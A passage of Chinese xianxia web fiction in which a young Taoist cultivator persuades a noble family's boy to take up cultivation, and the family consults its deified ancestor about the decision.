听见周嗣的话,赵尘眉角跳了跳,更加坚定了心中的某个念头,暗道:“好小子,待我将你忽悠走,不好好磨炼磨炼,简直有负明尘师叔祖的嘱托。” 微微一笑间,赵尘将手中拂尘一甩,变出了一张布凳,对周嗣道:“坐,”随之又接着道:“贫道虽看着年轻,今年却已经有二十七岁有余了,已经不能算作小道士了。” “至于灵不灵验,贫道十五岁上山修行,前些日子外出历练,在这沂州城中,和众有缘相识,为众有缘提供一些力所能及的帮助,是万万不敢称灵验的。对了,还不知少年郎怎么称呼?” 周嗣看着赵尘变出来的凳子,心中微微惊讶,暗自赞叹道:“果然是修行之辈,手段神奇。” 随之又仔细观察了一番,看不出一个所以然来,便准备坐下。旁边那先天级的护卫连忙出声道:“小少爷……” 周嗣侧身摆了摆手:“没关系的,周叔。”随即一屁股坐在布凳上,转过头来,对赵尘道:“我叫周嗣,道士,你说你已经快三十啦,真的假的!” 话虽这样说,但实际上周嗣心底却已经信了八分。 赵尘见状,笑着打量了周嗣一眼,将手中拂尘塞入袖中。又双手捻起那张铺在地上,放置在两人之间的布的两侧,便这般轻轻一抬,那张黑色的布匹就变成了一座黑色的小案。 “这自然是真的,我自幼修持,初心不易,十五岁那年被门中长辈带入山中修行。资质悟性都也还行,再加上还算勤勉,这十余年功夫,也算略有所得,这般驻颜小术,也是平常。” 周嗣看着赵尘把黑布变成小案,更是觉得惊奇:“驻颜小术?” “对,这修行法门,只要孕养出根性便有一百五十岁寿元。而我如今元婴境界,更有三百载寿元。便是不修炼这驻颜小术,就面相看来,比如今也大不了几岁。” 听赵尘所说,周嗣两眼不由更亮了几分,但随即却又故意撇了撇嘴:“我怎么知道你不是在骗我?” 赵尘闻言不屑道:“凡骗人,必有所图。你说,你有什么让我图的?” 周嗣闻言,双手趴在小案上,稍用力按了按,看着赵尘:“谁知道呢,也许你是为了通过我太爷爷,凭借权势获得些什么呢?” “不是说你们这些人修行要气运,要香火,要功德……或者就是单纯的贪慕这红尘富贵呢?” 赵尘闻言,鄙视的看了周嗣一眼:“无知小儿,你看我这般年纪,便已经有所成就,就知道我是那种一心向道之人,又岂会贪慕红尘。” “如果是为了借助气运龙气修行,那多是神魂一脉的修士。而神魂一脉的修士,要想稍有所得,至少要四五十岁、五六十岁,甚至七八十岁才行,想要在人间显圣,那年纪就更大了。哪一个看起来不都是饱经沧桑,怎么可能像我这样年轻。” 说着,赵尘从小案上扣下一点木屑,轻轻一吹,掐在手心的一点木屑就变成了一只麻雀,手一张,受到惊吓的麻雀连忙向远处飞去。赵尘接着道:“再说了,我要真为了权势,凭我这手本事,哪里去不得,要来骗你。” 周嗣张了张嘴,接着道:“也许……也许你是……为了……为了骗我钱呢。再说了,我听说……你们炼丹都要许多珍贵药材,也许你是为了让我家帮你收集药材呢?”周嗣越说越连贯,越说越肯定,最后说完,连连点头,表示肯定。 赵尘闻言,笑着摇了摇头,从袖中掏出一只白玉匣子,放在小案上,推给周嗣,道:“为了骗你钱,为了上你家帮我收集药材,呵。看看,看看。” 周嗣身边的一名护卫伸手将匣子打开,周嗣抬眼一看,却是一株从来没见过的药材。虽然不认识,但只是稍微闻到了一点气味,周嗣几人便觉得全身都舒爽了几分,可见珍贵。在周嗣的示意下,护卫连忙将匣子合上,重新推给赵尘。 见此,赵尘暗中笑了笑,又从袖中抽出一堆盒子,总共二十几个,堆在案子上,示意周嗣打开看看。 盒子里装的全是药材,周嗣只认出其中数种灵参芝草,且年份都高的吓人,至少都用数百年,甚至千年不止。至于剩下的大多数药材,周嗣都是闻所未闻,见所未见。 见周嗣完全被唬住,赵尘趁机开口道:“少年郎,你说我是为了让你家帮我收集药材炼丹?” “普通的材料,哪里买不到?至于珍贵的,先不说那些仙珍宝药,皆是天地造化而成,绝大多数普通人,一生能有多大的福缘,可以看见一株?再说了,单眼前这十余种比较普通的芝草灵药,你又能认识几株,你家中又收藏了几株?” 听赵尘这么一说,周嗣彻底没脾气了,起身对赵尘恭敬的行了一礼:“是小子放肆,误会道长了,还请道长勿怪。” 见周嗣的气焰彻底被打压了下去,自己完全占据了主动权,赵尘摆了摆手手,表示没事,又示意周嗣坐下说话,同时将小案上的盒子之类的全部重新合上,依次塞回袖中。 第四十四章 天高地阔 赵尘随后又和周嗣聊了些道理人心,又讲了些道门掌故,说了些仙神轶事。 忽然,周嗣随口问道:“道长,我看书上说,你等这般修行之人,平时只要打坐练气,读经服饵,剩下的时间就可以到处去玩,是不是真的,和科举练武相比,哪一个更简单?”语气中饱含着羡慕。 听周嗣这么一说,赵尘不禁笑了下:“小子,你听谁说的,大道修持之法这般简单?修行之法,各有不同,但总的来说,大概都是这个样子。先是……最后于道上有功,而人间有行,功行满足,受仙诏以成仙。若是拆分开来讲,更有……种种小法,不可备陈。” 赵尘这一番话,完全把周嗣给绕晕了。只看见周嗣好像顶着两只大大的蚊香眼一样,懵在那里,过了好一会儿,才猛地摇了摇脑袋:“好晕,我还是安心读书、练武吧。” 可想到刚才赵尘展示的种种神奇法术,周嗣眼中又闪过羡慕、渴望、不舍的神色:“原来修行之路,这般艰难,却还不如我现在在家快乐。” “现在我是春着新罗,夏换轻纱,秋饮糯酒,冬醉暖阁。四时瓜果,八节珍羞。等日后科举入仕,主政一方,或有望位极人臣,执宰天下。将来若是能够继承太爷爷的爵位,就更是富贵逍遥了……远胜那些在山中挨饿受冻,啃草食土之辈!”语气之中,大有几分吃不到葡萄说葡萄酸之感。 听见周嗣的话,赵尘忽然想到了《西游记》中的一段话,差点随口接下去, 赵尘本打算用修行不易来推却一番,谁成想竟打消了其对仙道的渴望。原本“道不可轻传,法不可轻授”的话就不好再说了 “这可不行,你要是不愿意随我去修仙,我要怎么对其进行磨砺考验。若不对其进行磨砺考验,有怎么对得起明尘师叔祖的嘱托。”种种念头在赵尘心中一闪而过。 赵尘敢拍胸脯表示,自己此时千方百计的想把周嗣忽悠走,随自己去修仙,这绝对不是因为其刚刚描述了一段自己三辈子都没过过的生活,而对其产生的羡慕嫉妒恨! 看着周嗣吧嗒吧嗒说着不停的小嘴,赵尘的脑筋飞速的转动,忽然想起了传说中韩湘子吓唬韩愈的套路,正所谓生死中有大恐怖。念头一转,随即开口道:“少年郎,你只看见你现在的快乐,并猜测你将来的生活,岂不闻天意入刀,正所谓‘天有不测风云,人有旦夕祸福’。” “更何况,即使你天生的富贵逍遥、一世雍容华贵,这不但是你今生的努力,也是在消耗你累生累世的福泽……” 随着赵尘的述说,周嗣好像真的看见自己迅速度过此生,转眼便在轮回中沉沦,或人类、或草木、或家畜、或禽兽,永无解脱。神情一阵恍惚,过了好一会儿,又狠狠的打了个寒颤,将这些从脑海甩了出去, 咽了咽口中的唾沫,周嗣定了定神,开口道:“道长说的太过玄虚,来生的事来生再说,我只要过好今生便可以了。对,只要今生努力,来世和我有什么关系。”说着,还肯定的点了点头,好似给自己勇气和信心。 赵尘见状,暗中点头,心中暗自赞许道:“心性不错,能从我的心神幻术中挣脱出来。再加上刚才那番话,虽有强行狡辩,为自己鼓气的原因,但也算照见了内心。我辈修行之人,前生不可依,来世不可凭,所重者,唯有今生。” 赵尘之前那番话,实际上暗自用上了精神暗示和法力引导,周嗣能从幻象中挣脱出来,虽然主要原因是因为包括颈上那件金锁在内的种种配饰,但也有自己内心的原因,所以才被赵尘在心中称赞,这也是赵尘悄悄给予的一项考验。 赵尘笑了笑:“周生,少年人,贫道称呼你一声周生,不介意吧?” “道长请随意。” “周生,你说来世太过飘渺、玄虚,那我们便说一说今生吧。” 说着,赵尘从袖中抽出一卷卷轴,放在案上,缓缓拉开。一边拉,一边说道:“周生,之前你说你‘春着……就更是富贵逍遥了。’可是?” “确是我说的,道长可是有什么指教?” “指教倒是不敢当,只是这么一来,你今生短短数十年,便只能在这一州、乃至数州,最多不过这窦朝十二州之地晃荡,和那朝生暮死,不知晦朔的朝菌又有和区别?” 不待周嗣开口,赵尘又说道:“你休要不服,这茫茫天地,自古至今已有数百万亿年之久,你这短短数十年的一生,和朝生暮死又有何区别?” “再说这天地之广,人间二十四部洲,你怕是听都没听过吧?” “远的不说,单说我们所在的这玄冥部洲,长九百万里,宽三百万里,可分成十道、四十四州。与之相比,这只占十二州之地的小小的窦朝又算什么呢?” 赵尘连续三个问句,直接将周嗣给问懵了。说着,赵尘抚袖间又在小案上摊开一份卷轴道:“口说无凭,这便是玄冥部洲的地图,你且看看。” 周嗣闻言,俯身向小案上的卷轴看去。因为赵尘和周嗣的对话并没有避讳众人,所以随着两人的对话,身边不远处逐渐围了十几个看热闹的人,此时也都在不远处伸着脖子窥视着小案上的地图。 赵尘指着卷轴上的图案介绍到:“首先,自上往下,先是极北道,气候寒冷,多是雪域冰原。下面这一团古称玄天禁林,如今又被人称作无尽林海。林海两侧便是玄左、玄右两道,再两侧便是江北、镇东两道。” “再之后这条大体上呈南北走向的‘之’字形江河便是玄水。这条东西走向的巨大山脉便是冥仑山脉。和江北道隔玄水、冥山相对的便是山南道。再往南便是玄海、广原、安西、广南四道。” “这窦氏皇朝不过占了广原道、山南道全境和玄海道两州,共计十二州之地。不过是这玄冥部洲四分之一多一点罢了。” “好大!”看着赵尘不断在卷轴上指划着,周嗣不禁脱口而出。 第四十五章 仙缘 周围众人也对此议论纷纷,同时将图卷上的内容记在脑海之中。 赵尘听了,微微一笑,接着说道:“这窦氏皇朝,于整个人间来说,不过沧海一粟。但相对于你这个人来说,这长宽皆有数百万里的庞大地域,你一生又能经历多少呢?和这茫茫天地、悠悠万古相比,你还觉得你那须臾的一生有多么富贵逍遥吗?” 听到这里,周嗣彻底心动,不由心道:“你说这么多,难道是来向我炫耀的吗?” 想到这里,周嗣心中一动,起身向赵尘拜去:“是小子坐进观天了,还请道长传我长生之术,成仙妙法。” 看见周嗣的·动作,周围人群也微微有些躁动,大家在这沂州城生活,也算是见多识广,也都看出了这大概是周家小少爷的仙缘,但万一成了呢? 看着周围骚动的人群,一名护卫打扮的男子连忙将周嗣扶住,没让周嗣真的拜倒:::“小少爷……”同时转过身对赵尘道:“道长,差不多快到午时了,不如先来府中用完饭在做详谈。” “这,不知可否方便?” “方便,非常方便。”周嗣闻言,连连应道,说话间,便将赵尘向周府迎去。 …… 不一会儿,赵尘被安排进一间院子。说是院子,实际上却是一片数百亩的人工湖,周围围着一圈茂林修竹,再外面是一圈院墙,或制成假山之形,或画着逼真的自然风光。湖中心不到一亩大的小岛上,山石为基,修着一间亭子。 大致确定了赵尘目标的周三少爷陪坐在一旁。至于周嗣,自然是被其随口打发走了。 “我这侄儿自小顽劣,若是有什么得罪之处,还望道长海涵。” “哪里,公子这侄儿不但聪慧伶俐,心性也是不俗……” 一番客套之后,周三少爷询问道:“还不知道长仙乡何处啊?” 听着这个这段时间经常听到的问题,赵尘笑了笑:“贫道宗门所在嘛,也没什么不能何人说的,就在那冥仑山脉之北,虽不在玄水之畔,但离玄水也只有一个月左右的脚程。” 赵尘又和周三公子说了一些冥仑山脉以北的自然景致和人文风光,随后又聊了一些沂州当地的情形。 “道长游历天下,可真是见多识广啊,”一番畅聊之后,周三公子感叹了一句:“在下和道长实在是一见如故,道长在这沂州游历,若有什么不便之处,只管开口,若能做到的,绝不推辞,我周家在这一片还算有点名望。” 心道“终于图穷匕见”的赵尘想了想,决定还是要展露一番手段。想到这里,赵尘一挥衣袖,地上便升起一朵白云,将几人托了起来,往天上飞去,在离地面不到百丈处停了下来,因为周围隐身的效果,并没有引起别人的注意,引起哗然。 但这只是指外人,至于这亭中之人,不仅侍立在一旁的仆人随从,便是周三少爷本人,都显得有些紧张。 “不用紧张,坐,”赵尘看见几人人的神色,不动声色的将云朵从一丈见方变作十丈见方,并在周围升起了一圈围栏。 “我在这沂州城摆摊也算有些时日了,想来公子也是猜到了我的意思。” 周三少爷突然被待到半空中,一时间思绪不宁,听了赵尘的话,一时不知怎么开口,只能躬身一礼:“还请道长直言。” “贫道云游到此,见你家侄儿周嗣与我有几分缘法,所以想问一下,他是否愿意随我修道去,你等家人又是否同意?” 赵尘这却没有胡说,这周嗣和明尘有些缘法,而明尘又将这件事托付给了赵尘,其自然就和赵尘有了一些缘法。 “道长,我等凡俗之人,对这修行境界实在不怎么了解,道长这突然一问,在下实在难以回答,不知道长可否指点一番?” 开口道:“周生,你能说出这句话,可谓道心萌发了。你在我面前萌发道心,又是第一个向我求法的人,可谓有缘矣。既是有缘,那便能再聊几句了。周生,你对这成仙了道之途,你又了解多少呢?” 周嗣起身恭谨的见了一礼:“小子对此一无所知,还请道长指点。” “不要拘束,”赵尘示意周嗣坐下:“既然不了解,我便和公子你大致说一下。” “今日我和公子你说法,不论旁门,只说正法。我辈修行,第一阶段,叫作入道,又细分成三步。第一步培元,用以固本培元,铸就道基。这一步很快,最短三个月就可以完成,所以又有百日筑基之说。” “第二步养气……但到此时,也不过是一个善于保养自己的普通人,不过能活个八九十岁罢了。整个养气过程,各人时间不定,快的话两三年就可以,慢的二三十年,甚至三五十年都有可能。第三步金丹……到这一步,才算是真的堪堪入道,可以活个一百五十岁左右。” “当然了,整个第一阶段,都是凡人罢了,因为凡人天寿三甲子。不能超过这个,不是凡人又是什么呢?甚至单以寿元来论,甚至不如一位武道宗师,只和半步宗师差不多。因为一位先天武者寿一百二十岁,半步宗师寿一百五十岁,一位武道宗师就寿两百载。” “再往上,便是第二阶段的道家真人,寿元最多五百载。第三阶段的道家真君,最多可有千载寿元,最后第四阶段的道家天师,最多足足有三千载寿元。再之后便是成仙了道了……” 借着赵尘说话的功夫,周三少爷定了定神:“道长所言,实是让我大开眼界。对于我这侄儿,我个人是不反对的,但首先要看他自己的意愿。他要是同意的话……” 看见赵尘不为所动的样子,周三少爷只能继续说道:“道长你也知道,老爷子给我这侄儿取名为‘嗣’,便知道老爷子就指望我这侄子,希望他继承家业,光宗耀祖。” “呵,这事当然全凭自愿,若是实在不许,那只能说明我和其缘浅了。” 第四十六章 离府和因果 闻言,周三少爷顿了顿,笑道:“感谢道长理解,当然了,若是我那个侄儿愿意的话,我也会多劝劝老爷子的。” “没事,这自然要慎重考虑一,而且,便是周嗣真的和我去修道,我也要将一些事情说清楚。” “不知是什么事情?” “若是周嗣和我去修行,无论成与不成,至少二三十年内是无法回家的。贫道会先花十几二十年对其进行一番考验、打磨。若是能通过,贫道便带他回山。可若是通过不了,看在这份缘法上,倒是也能传其一份法门。” “但到时候,披道怕是没时间送他回来,只能将其就近安排在一处安全的地方,所以……” 说完了周嗣的事情,两人又天南海北的聊了起来,这一顿饭一直吃了一个多时辰,等赵尘从周府出来,已经是下午了。 赵尘一个人走在街上,想着先前的事情,正如常和所说,这周家老祖在城隍麾下效力,周家老太爷最终应该会同意这件事。 正转过一个街角,赵尘忽然看见一名老道,正在和几个孩子玩闹。赵尘看了一眼,只是一名普通道人,虽不是什么修士,但赵尘还是上前见礼问安。 老道人看见赵尘,“咦”了一声,向赵尘回了一礼,衣袖一摆间,整条街道忽然变由喧闹变的安静。可仔细一看,这条街道还是和之前一样,人来人往,说话声、买卖声不绝于耳。但赵尘就是觉得一片清静。 赵尘意识到,自己这是遇到高人了,语言神态又恭敬了几分。 老道看出赵尘的疑惑,笑道:“这不过是境随心转罢了,我见你。心生清静。你见我,自然也如是,你心生清静了,自然便觉得周围清静了。” 赵尘知道。老道这是在说自己思绪太多。心中不静,连忙恭敬道:“多谢前辈教诲。” 老道摆了摆手:“相见就是有缘,正巧,我早上得了几个果子,如今还剩一个,就予你吧!” “长者赐,不敢辞。” 赵尘连忙恭敬接过,便听见老道接着说道:“这果子放久了就不新鲜了,就在这儿吃了吧。” 赵尘闻言,三两口将果子吃掉,赵尘怎么看都觉得这只是一枚普通的鲜果,吃起来也是一样,但服下之后,赵尘冥冥之中又觉得有什么不同。 “不知这是什么果子?”赵尘好奇的问道,忽然想起刚才老道所说的,这果子是自己早上得的。 老道看出了赵尘心中所想:“这是一枚纯净的因果。没错,就是我早上从那小贩处得到的。” “因果?” 随即,老者向赵尘说明,这小贩连同其家人妻儿,都是一个人。那不远处躺在地上的乞丐才是这个人的本体,小贩等人,及其祖祖辈辈都是这个乞丐一念变化,虽是一念所化,但又真实不虚。 “这人当年犯了错误,被罚拘在此处,唯有和众生了尽因果,方得解脱。这了结因果的方式就是那样,将当天的因果贩尽。” “本来,他这惩罚都快要结束了。可却生了妄心。他既以妄念见我,所见自然是妄相。” “那小贩见我不过是个稍有法术的修行者,便暗中施展手段,蛊惑于我。既然如此,我便顺了他的心意,施展幻术,将他的果子分给了众人。不过上天有好生之德,在果子分尽前,我分几个果子给躺在不远处的乞丐,那也是应有之义了。” 赵尘听了老道的话,忽然想到自己初来沂州城的那一次,想来那段对话便是说给自己听的。之前老道说那小贩近日就要解脱,说的怕就是自己。 想到这里,赵尘心中不禁闪过一丝侥幸,若是自己不知天高地厚,将这份因果从小贩手中接过来,那后果…… “那从小贩处买果子的人?” “他们见的是鲜果,买的自然也是鲜果。便是你从我手中接过的这枚,那也是一枚已经纯净的你与我之间的善果,和那小贩虽有些关联,却也不大。” 赵尘还欲说话,便被老道抬手拦下:“好了,你我相见便是有缘,那自然是缘聚则见,缘尽则散。等之后有缘再聊吧。” 说着,老者摇摇晃晃的几步,便跨入另一处街角,消失不见。 至此,赵尘也没有心情在城中闲逛,便早早的向城外走去。 …… 赵尘离开之后,周三少爷便去寻找周老太爷,将事情的来龙去脉说了一遍。 周老太爷闻言,手指轻轻敲了扶手:“你说这道人要带嗣儿去修道,这事嗣儿什么态度。” “大侄子现在自然是愿意的,但究竟是不是一时的热度就不知道了。” “那道人的身份确定了没有?” “具体的来历并不清楚,但这段时间确实挂单在玄泉观,而且这道人是个有真本事的,这一点应该不假,这是那个道人这段时间的行为。”说话间,周三少爷将一份薄册子递了过去。 周老太爷接过来,随手翻了翻,放在一旁:“这么说,这个道人还是比较诚恳的了,不是临时起意了。” “对,只是虽然比较有心,但好像又没有那么在意,这事事关大侄子前程,孙儿实在不好妄自猜测。” “确实,对这些神仙异事,我也不甚了解,不能妄下结论,让我好好思虑一番。” 周三少爷知道,这件事,自己的爷爷怕是只能去询问过那位传说中的老祖宗,才能拿定主意,便告辞离开了。 过了一会儿,周府内大管家来到房中:“少爷,小小少爷让人送了些神仙传说和道书给小小小少爷。” “知道了,这件事你怎么看?” “少爷确是为难我了。我只听说过‘穷文富武,修道破家’但毕竟不怎么了解。所以也不敢多说。少爷,以我之见,这件事还是问一下老祖宗比较好!” 周老太爷闻言,敲着桌子思索了一下,一拍双手,对周贵道:“说的对,此事重大,我今天晚上便住在家庙了,周贵,到时你帮我守一下门。” 周贵笑道:“少爷客气了。” 第四十七章 神吏 周贵自小便和周老太爷一起长大,看见周老太爷的神情,便知道是对是否让周嗣去修道这的决定不确定,而产生的心烦和焦虑。 两人便在这书房中闲聊着,等候着时间的流逝,连晚饭也给推掉了。一直等候到晚上,周老太爷见天色完全暗了下来,让周贵吩咐人替自己准备热水,自己要沐浴更衣。 半个多时辰后,焕然一新的周老太爷身着素衣,让周贵拎着祭品陪着自己往家庙走去。 这周氏家庙虽然是修在府中的,却也是一片足有两百丈长,三十多丈宽的建筑群,近乎占整个周府十分之一的面积。也是整个周府看起来最威严的地方了。仅家庙外,便有一队先天武者值守。站在庙外望去,越发觉得在粉白的外墙的映衬下,乌黑的大门显得庄严肃穆。 周贵跟着周老太爷推门而入,整片家庙有殿、堂、坛、阁、门坊、碑、亭等建筑数百座。但仔细观看,其布局也勉强算是一昭一穆,与太庙而三,曰皇考庙的大夫级家庙。 周贵和周老太爷两人走进家庙的正殿。整个正殿和外面其它建筑那样九脊重檐、黄瓦覆顶、雕梁画栋不同,显得极其的庄重朴素。其中只供奉了一座‘先祖周五’的牌位。 这周五便是周家老太爷的那位天祖。 周贵陪着周老太爷将祭品摆放好,对周老太爷道:“少爷,那我先下去了。” 周老太爷点了点头,周贵转身出去,顺便将大殿的门给掩上,守在大殿门口。 周老太爷先是对着牌位祭拜一番,便跪坐在牌位前,静心凝神。 不知过了多久,周老太爷忽然听见一阵悠扬的钟声从殿外传来。周老太爷起身从供桌上拿起一素绢托盘,绕到供台后,从一处机关暗室中捧出一个长、宽、高皆一尺多的方形木箱,打开木箱,里面码放着半箱一寸高,三寸宽,一尺来长的玉盒。 周老太爷拿起一个玉盒,将其打开,这一盒大概可以装九根香,而如今只剩下七根。周老太爷从托盘中抄起一张素绢,隔着素绢从玉盒中捻起一根香,用素绢包裹着放进托盘中。随后,周老太爷将玉盒合上,放回木箱中,又将木箱合上,抱回原处。 将一切还原后,周老太爷拿起托盘,回到供桌之前,用素绢包着手指,拿起香就着这眼前的油灯细细观察着。这支香有半寸粗,一尺长,整体呈玄黑色,缠绕着一些发丝粗的暗金色纹路。 周老太爷用供桌上的灯火将香点燃,插在炉中。随后重新回到原来位置,跪坐在供桌前方,静心凝神。 只见那支香散发出滚滚白烟,笔直的上升了两三尺后消散在虚空中。不一会儿,整个大殿中都出现了薄薄的烟雾,好像拢了一层轻纱。 逐渐的,薄雾越来越浓,好像一转眼间,整个大殿就白茫茫一片,伸手不见五指。周老太爷好像却早有预料一般,一点反应也没有,又过了一会儿,浓雾好像逐渐散去了一些,眼前的事物像隔了一层白纱,稍远一点就朦朦胧胧一片,在远处那便是一片飘渺了。 周老太爷看了看脚下和周围,发现自己好像已经不再大殿之中了,又好像依然在原处一样,周围的景致也有些似是而非,看起来好像就是自家的大殿,又好像不是自家的大殿了,有一种熟悉的陌生感。 忽然,周老太爷看见眼前不知什么时候出现了一个人影,虽然头发花白,但绝精神矍铄,身着一件神吏袍,将自己打扮的一丝不苟。 周老太爷连忙起身问安道:“见过老祖宗。” 这位老祖宗便是周老太爷的那位天祖周五了,周五点了点头,将周老太爷扶了起来:“丹儿,别像个小孩子一样,你都快一百岁的人了,还讲这些虚礼做什么。” “对相对于老祖宗,我永远都是小孩子。对了,老祖宗,您这身衣服怎么看起来好像和上次的不一样啊。” “那当然了,”周五得意的笑道:“蒙大人赏识,我前些日子,终于从一位不入流的鬼吏升迁到从九品的神吏,也算真正入了神道的序列了。” 周丹闻言大喜:“恭喜老祖宗终于得偿所愿。” 周老太爷作为周家家主,和周五也算多有交流,对这神道之事也算有所了解。 便在这周丹,也就是周家老太爷祭拜周五时,远在坛山玄泉观的赵尘刚刚做完功课,准备收功。赵尘将元婴收归体壳,睁开眼,一口浊气吐了出来,想到下午时分,常和对自己说的关于周家老祖宗的事情。 这普通人亡故之后,若是身上没有什么大的罪孽,不用在地狱受刑;又没有什么太重的因果,需要立刻了结的话。如果不愿意立刻转世,便可以在下土待到鬼寿耗尽才转世。 而这阴司鬼神,尤其是底层小吏便喜欢自己拿出一些功德俸禄,在这些暂时不用转世的“人”中间招募一些杂役、帮闲。而这些“人”也多愿意在阴司中得一些积累,以此让来生过的更好。 这些杂役、帮闲便构成了神道的最底层。因为这些做为杂役、帮闲的“人”差不多也就拥有数年、十数年、最多数十年的鬼寿,所以也就能干个几年到十几年,最多二三十年罢了。 在这些杂役、帮闲之上,便是些不入流的鬼吏了。这些鬼吏虽不入品阶,但也算登记在册的鬼神了,不但有固定的俸禄,而且还有相应的寿元。 那些中、高等的鬼吏大多数还都招募了两三名到十余名,数额不等的帮闲、杂役。 而且,这些鬼吏都是那些比较高阶的神吏,甚至一方主神、神君按需要,从那些功德足够的,能力也不错的杂役、帮闲中挑选出来的。 鬼吏共分五等,最低等的便有一甲子的鬼寿,最高等的足有五甲子,即三百年的鬼寿。等鬼寿耗尽,自热是重入轮回了。 在往上,便是那些真正入了品阶的神吏和神君了。哪怕最小的从九品神吏,也足有五百岁的寿元。像这种神吏的任命便要严格很多了,最少也是县城隍一级的地主神,甚至更高阶位的神吏才有资格任命。 至于更多的,就不是周老太爷可以知道的了。 第四十八章 周家老祖 周家老祖宗周五,生时便广积功德,福泽绵延。亡故之后,因为身具功德,又不愿立即转世,便在广原道城隍麾下做了一名杂役。没过几年,便因为身具功德,并且能力突出,便被提拔为一名鬼吏。 之后近两百年,这位周家老祖宗便在阴司庇护家族,其家族在蒸蒸日上的同时,不忘组训,积功累德,不断为其积累功德。再加上其能力又不错,便不断升迁。数月之前,被提拔为神吏,还小小的摆了次宴。 这位周五,也算是土生土长的的沂州城“人”了。本着同乡之谊,玄泉观的常和还去赴了宴。赵尘和常和说周嗣的时候,其立刻就反应了过来,所以才说这件事情不难。要不然常和一位炼神返虚的神魂一脉修士,怎么可能将一位小小的鬼吏放在心上。 在周府家庙正殿,所对应的这一片灵域幻境之中,周老太爷对周五道:“老祖宗,我明日便让族中准备庆典,为老祖宗登神之喜道贺,如何?” 周五拒绝道:“不必了,我前些日子已经邀请一些同僚和本地的几位高人小聚过了,神道虽然富贵,但威能多集于一人,我这等微末小吏,还是不要太张扬的好。” 周老太爷闻言,连忙道歉道:“是丹儿考虑的不周,还请老祖宗赎罪。” 周五摆了摆手:“好了,不要说这些虚的了。说说吧,你这次找我是为了什么事?” “老祖宗明鉴,您曾经说过,嗣儿是吾家之宝,足以传承家业,光大门楣,”周丹正色道:“可前些日子,城里来了一个道士,今天在府中展露神异,说是要带嗣哥儿去修道,丹儿对这些都不甚了解,所以还望老祖宗拿一个主意。” 周五闻言,眉毛皱了皱:“是一个什么样的道士,你把事情的经过详细说一边。” “好的,老祖宗,这个人道士自称清微,说是自小在山中修行,目前暂时寄居在玄泉观,看起来很年轻,只有十六、七岁,一副少年郎的样子。老祖宗,具体事情经过是这样子的……” 一下午的时间,足以周老太爷将事情的前因后果了解一遍了。 “暂时借居在玄泉观的清微是吗?我去借阅一下相关的文书,并找人打听一下,你在这里等一等。”周五说完,便推门出去。 大约过去一个时辰左右,周五推门而入。周老太爷连忙问道:“怎么样,老祖宗,可查到什么?” 周五开口道:“前些日子,是有一个叫清微的道士来到坛山,如今正借居在玄泉观。” “老祖宗,不知这清微是个什么来历?” 周五摇了摇头道:“不知道。” “这可如何是好?” 周五恨铁不成钢道:“蠢货,就是因为查不出具体来历,这才证明其来历不凡啊。要不然,我一个小小的从九品神吏就可以猜出来历,这又算什么来历不凡啊?” 周老太爷赔笑道:“老祖宗教训的是。只是这嗣哥儿随他去修道,不知这合适不合适?” 周五沉吟了一番道:“这自然是嗣哥儿的福缘。” 周老太爷闻言,斟酌道:“只是……老祖宗,我听说修道极其损耗福缘,不知是不是真的?只怕到时候,嗣哥儿自身修道不成,却连累族中,到时候……” “不必担心,你说的那种‘修道破家’的事情,是那些没什么底蕴的散修才有点的情况。像清微所出生的这等门派,做事自有定数,影响自然是有的,但不会这么夸张。” 周五好似早有预料的从身上摸出了一个石质的定子,交给周丹道:“你若实在不放心,便将这枚定子供奉在家庙之中,正殿外社坛上。这枚定子是一件神道器物,可以在调理府内地气的同时,镇压族中气运。” “但是,嗣哥儿修道所需的气运,族中也需要提供一些的。一来,这也是应尽之义;二来,若是将来嗣哥儿修炼有成,这也是一笔回报丰厚的投资,若是万一,上天保佑,如果嗣哥儿将来可以成仙,这更是一本万利了。” 说到这儿,周五略思考了下,接着道:“这样吧,你明日将这定子放好后,写一道一式三份的文书,说是为了支持嗣哥儿修行,拿出族中全部气运的十分之一,用以供给嗣哥儿今后的修行之类的。这三份文书,一份烧祭给上天,一份供奉在定子前,最后一份封入家庙。” 听了周五的话,周丹连忙恭敬道:“谨遵老祖宗吩咐。” “对了,因为将族中十分之一的气运都交给了嗣哥儿,所以这段时间大家的气运都比较低迷。丹儿,你到时候让族中子弟都注意一下,这段时间都低调一点,本着吃亏是福的原则,都低调一点。还有,凡儿现在应该在京中吧,你回头写封信给他,让他这段时间也蛰伏一番,不要莫名其妙的招了灾。” “老祖宗说的是,我天一亮就去办。” 接下来两“人”便这般闲聊了一番。过了好一会儿,周五抬头望外看了看,突然开口道:“好啦,天马上就要亮了。” 周老太爷连忙躬身道:“丹儿恭送老祖宗。” 随着周老太爷一低头,只见周围弥漫的白色烟雾愈发的浓厚起来,没等周老太爷一句话说完,便又变的伸手不见五指起来。 忽然,周老太爷猛地一阵眩晕,闭着眼睛一甩脑袋,随即睁开眼睛,却发现自己正趴在正殿的供桌上。香炉中即将燃尽的香飘出寥寥青烟,正打在自己脸上。 周老太爷正欲起身,却发现手中拿着一枚石锭。遂将石锭放在供桌上,起身将衣冠整理一番,又将石锭从供桌上拿起,揣在怀中。正准备开口问一下时间,便听见远处传来的鸡鸣声。 周老太爷不禁摇了摇头,轻声唤道:“周贵。” 便见周贵推门而入,轻声向周丹问安,随即又问道:“少爷,老祖宗怎么说?” 第四十九章 再会周嗣 一转眼又过去了两天,第三天上午,赵尘正在小院中饮茶读书,便看见一名道装青年跑了进来。赵尘随即问道:“元函,匆匆来寻贫道,不知有何事啊?”这青年也是这玄泉观中的一名道童,姓卫,名元函,在这玄泉观中也已经六七年了。 那元函快步走到赵尘跟前,见礼道:“见过师叔,周老太师携曾孙周嗣公子来观中拜见师叔,正由观主陪着。”怕赵尘不知道周老太师是谁,还解释道:“师叔,那周老太师可是……” “好啦,”赵尘打断道:“我知道周老太师是谁,你不用在这里介绍了。元函,你去向常和师兄道谢,并将那周老太师和周嗣带到这里来吧。” 元函闻言,欲言又止,纠结道:“可是……” “没有可是。”赵尘弯身从地上拔出一株草,掐在之间,一瞬间,这株草便迅速生长、成熟,结出草籽,随着赵尘一抖手腕,草籽迅速掉落。而赵尘手中的草却化作飞灰。 挥袖间,赵尘就将这把草籽甩飞到远处一片稍微稀疏一点的地方,落到地上,有迅速发芽、生长,便在这几个呼吸之间,便和地上其它杂草一般无二了。 赵尘开口道:“你看,这株草转眼间便经历了一世枯荣,这人生不也一样吗?这依附在人生当中的兴衰荣辱就更是过眼云烟了,你又为何会看不破这过眼云烟呢?对天地万物,有情众生充满敬畏是好事,但敬畏到惧怕却是过了。” 